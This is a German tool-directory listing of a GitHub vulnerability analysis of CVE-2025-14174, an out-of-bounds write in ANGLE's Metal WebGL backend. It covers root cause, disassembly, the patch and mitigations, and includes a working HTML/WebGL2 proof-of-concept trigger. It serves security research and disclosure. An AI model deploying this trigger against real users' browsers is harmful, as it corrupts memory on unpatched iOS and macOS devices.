Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/typeconfused/cve-2025-14174-analysis
iOS-SicherheitSchwachstellenanalyseExploitationWebsicherheitMobile SicherheitHardware-SicherheitBinäranalyse
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Analyse und PoC für CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)

Repository anzeigen
11vor 7 MonatenNoch nicht geprüft

CVE-2025-14174 Analyse: ANGLE Metal Staging Buffer Out-of-Bounds Write

Technische Analyse und Proof-of-Concept für CVE-2025-14174

CVECVE-2025-14174
SchweregradHoch
Exploited ITWJa – gezielte Angriffe auf iOS < 26
BetroffeniOS Safari, macOS Chrome/Chromium/Electron (nicht macOS Safari)
StatusGepatched in ANGLE Commit 95a32cb
CreditApple, Google Threat Analysis Group

In-the-Wild-Ausnutzung

Laut Apple wurde CVE-2025-14174 als Teil eines „extrem ausgeklügelten Angriffs gegen bestimmte gezielte Personen“ auf iOS-Versionen vor iOS 26 ausgenutzt.

Die Angriffskette umfasste:

  • CVE-2025-14174 (diese Analyse) – ANGLE Metal OOB Write
  • CVE-2025-43529 (WebKit Bug 302502) – WebKit Use-After-Free

Inhaltsverzeichnis

  • Zusammenfassung
  • Betroffene Plattformen
  • Auswirkungen
  • Grundursache
  • Auslösebedingungen
  • Technische Analyse
  • Proof of Concept
  • Der Fix
  • Erkennungshinweise
  • Abschwächungen
  • Referenzen

Zusammenfassung

Eine Out-of-Bounds (OOB)-Schreibschwachstelle existiert im Metal-Backend von ANGLE beim Hochladen von Tiefentexturen über einen Staging-Buffer. Die Größe des Staging-Buffers wird unter Verwendung von GL_UNPACK_IMAGE_HEIGHT anstelle der tatsächlichen Texturhöhe berechnet. Wenn UNPACK_IMAGE_HEIGHT < height ist, alloziert ANGLE einen zu kleinen Buffer und schreibt anschließend height Zeilen hinein, was zu einer GPU-Speicherverfälschung im Renderer-Prozess führt.


Betroffene Plattformen

Diese Schwachstelle betrifft Anwendungen, die das Metal-Backend von ANGLE für WebGL verwenden:

Plattformdetails

iOS Safari ist betroffen. Auf iOS verwendet WebKit ANGLE als sein WebGL-Backend, was Safari auf iPhone und iPad angreifbar macht.

macOS Safari ist NICHT betroffen. Auf macOS verwendet Safari WebKits eigene native WebGL-Implementierung, die direkt mit Metal interagiert und ANGLE vollständig umgeht.

macOS Chrome ist betroffen. Google Chrome, das unter macOS 26.1 lief, schien während Tests angreifbar, da es ANGLEs Metal-Backend für WebGL verwendet.

Der anfällige Codepfad existiert in ANGLEs TextureMtl-Klasse (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Auswirkungen

SchweregradBeschreibung
BestätigtGPU/Metal-Backend schreibt über das Ende des Staging-Buffers hinaus

Wesentliche Merkmale:

  • Der Fehler ist in WebGL still (gibt typischerweise NO_ERROR zurück)
  • Keine sichtbaren Rendering-Artefakte in den meisten Fällen
  • Metal-Validierungsebenen erkennen den Überlauf möglicherweise nicht
  • Potenzial für GPU-Prozess-Instabilität oder Ausnutzung abhängig vom Heap-Layout

Grundursache

Im D32F-Tiefentextur-Uploadpfad berechnet ANGLE pixelsDepthPitch aus GL_UNPACK_IMAGE_HEIGHT und verwendet diesen Wert zur Größenermittlung des Staging-MTLBuffer. Die nachfolgende Compute-Dispatch (Tiefensättigung) verwendet jedoch die tatsächliche Texturhöhe für die Operation, was zu einem OOB-Schreibzugriff führt, wenn die Parameter abweichen.

Beispiel Größenabweichung

Für width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


Auslösebedingungen

Alle folgenden müssen zutreffen:

  1. WebGL2-Kontext (erforderlich für PBO-Unterstützung)
  2. Tiefentexturformat DEPTH_COMPONENT32F (bestätigt; andere Tiefenformate könnten ebenfalls betroffen sein, sind aber nicht getestet)
  3. Pixel Buffer Object (PBO) an PIXEL_UNPACK_BUFFER gebunden
  4. GL_UNPACK_IMAGE_HEIGHT auf einen Wert kleiner als die tatsächliche Texturhöhe gesetzt
  5. ANGLE Metal Backend aktiv (iOS Safari oder Chrome/Chromium/Electron auf macOS)

Warum WebGL dies nicht blockiert

GL_UNPACK_IMAGE_HEIGHT ist laut GL-Spezifikation für 3D/Array-Textur-Uploads vorgesehen, nicht für 2D-Texturen. Für TEXTURE_2D:

  • Der Parameter wird akzeptiert, nimmt jedoch nicht an der WebGL-Validierung teil
  • WebGL lehnt UNPACK_IMAGE_HEIGHT < height für 2D-Texturen nicht ab
  • ANGLE verwendet diesen Parameter fälschlicherweise zur Größenermittlung des Staging-Buffers für Tiefen-Uploads

Technische Analyse

Angreifbare Aufrufkette

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Berechnet pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← ZU KLEIN
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← VERWENDET ECHTE HÖHE

Binäre Beweise (iOS 26.1)

root@kitploit:~
; setSubImageImpl - berechne zu kleinen depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; Lade UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - rufe MakeBufferWithStorageMode mit zu kleinem depthPitch auf
0x272fac5bc: mov  x2, x19              ; x2 = Größe (zu kleiner depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; rufe MakeBufferWithStorageMode auf

Binäre Beweise (macOS 26.1)

root@kitploit:~
; setSubImageImpl - berechne zu kleinen depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; Lade UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - rufe MakeBufferWithStorageMode mit zu kleinem depthPitch auf
0x22c6d461c: ldr  x20, [sp, #0x48]     ; Lade depthPitch vom Stack
0x22c6d4628: bl   MakeBufferWithStorageMode

Die SaturateDepth-Funktion dispatcht anschließend einen Metal-Compute-Shader unter Verwendung der tatsächlichen Texturdimensionen und schreibt über den zu kleinen Staging-Buffer hinaus.


Proof of Concept

Minimaler Auslöser (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 nicht unterstützt');

const width = 256, height = 256;
const unpackHeight = 16;  // << kleiner als die tatsächliche Höhe

// PBO mit Tiefendaten erstellen
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Den abweichenden Parameter setzen
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Tiefentextur hochladen – löst OOB-Schreibzugriff aus
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Auf Fehler prüfen (gibt typischerweise NO_ERROR trotz OOB zurück)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Erwartetes Ergebnis auf anfälligen Systemen: gl.getError() gibt NO_ERROR zurück, obwohl der OOB-Schreibzugriff im GPU-Prozess auftritt.


Der Fix

ANGLE Commit 95a32cb korrigiert die Allokation des Staging-Buffers, um die tatsächlichen Texturdimensionen zu verwenden:

root@kitploit:~
// VORHER (anfällig)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// NACHHER (behoben)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Zusätzlich wurde die Berechnung von srcBytesPerImage für die Blit-Operation korrigiert:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Erkennungshinweise

Diese Schwachstelle ist aus JavaScript schwer zu erkennen:

  • Staging-Buffer sind interne Metal-Ressourcen im GPU-Prozess
  • WebGL gibt typischerweise NO_ERROR zurück, selbst wenn der Fehler ausgelöst wird
  • Metal-Validierungsebenen erkennen den Überlauf möglicherweise nicht
  • Keine sichtbaren Rendering-Artefakte in den meisten Fällen
  • Erfordert Instrumentierung von Metal-API-Aufrufen oder GPU-Speicher-Debugging

Abschwächungen

AnsatzBeschreibung
AktualisierenPlattform-Updates mit dem ANGLE-Fix anwenden
WorkaroundVermeiden, UNPACK_IMAGE_HEIGHT kleiner als die tatsächliche Höhe für Tiefentexturen zu setzen

Referenzen

  • ANGLE Fix: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Chromium Bug: https://issues.chromium.org/issues/466192044
  • WebKit Bug (CVE-2025-43529): https://webkit.org/b/302502
  • Betroffene Plattformen:
    • iOS: Safari (WebKit verwendet ANGLE Metal)
    • macOS: Chrome, Chromium, Electron (verwenden ANGLE Metal)

Credits

Schwachstellenentdeckung: Apple, Google Threat Analysis Group

Technische Analyse: Diese Analyse dokumentiert unabhängige Forschung und Reverse Engineering der Schwachstelle.


Analyse durchgeführt im Rahmen des SpiderWebKit-Sicherheitsforschungsprojekts.

Tool herunterladen
PlattformSoftwareBetroffenAnmerkungen
iOSSafariJaWebKit auf iOS verwendet ANGLE Metal für WebGL
macOSChrome / ChromiumJaVerwendet ANGLE Metal Backend
macOSElectron AppsJaVerwendet Chromiums ANGLE-Implementierung
macOSSafariNeinVerwendet WebKits nativem Metal WebGL, nicht ANGLE
BestätigtReproduzierbar über WebGL2 + PBO + DEPTH_COMPONENT32F
WahrscheinlichGPU-Prozess-Absturz oder Kontextverlust unter Speicherdruck
TheoretischRessourcenübergreifende Verfälschung im GPU-Speicher (nicht demonstriert)
ParameterBerechnungWert
Zeilenabstandwidth * sizeof(float)4 Bytes
Staging-Buffer (alloziert)rowPitch * UNPACK_IMAGE_HEIGHT512 Bytes
Compute-Dispatch (geschrieben)rowPitch * actualHeight2048 Bytes
OOB-Schreibzugriff2048 - 5121536 Bytes
FunktionAdresseRolle
setSubImageImpl0x272fa9028Berechnet zu kleinen depthPitch
setPerSliceSubImage0x272fac240Alloziert zu kleinen Staging-Buffer
MakeBufferWithStorageMode0x272ef19bcErstellt MTLBuffer mit falscher Größe
SaturateDepth0x272facfa4Dispatch Compute mit tatsächlichen Dimensionen
FunktionAdresseRolle
setSubImageImpl0x22c6d10f4Berechnet zu kleinen depthPitch
setPerSliceSubImage0x22c6d4398Alloziert zu kleinen Staging-Buffer
MakeBufferWithStorageMode0x22c619490Erstellt MTLBuffer mit falscher Größe
SaturateDepth0x22c6d5144Dispatch Compute mit tatsächlichen Dimensionen
Defense-in-DepthVerwendung von Uploads mit fester Größe, bei denen UNPACK_IMAGE_HEIGHT == height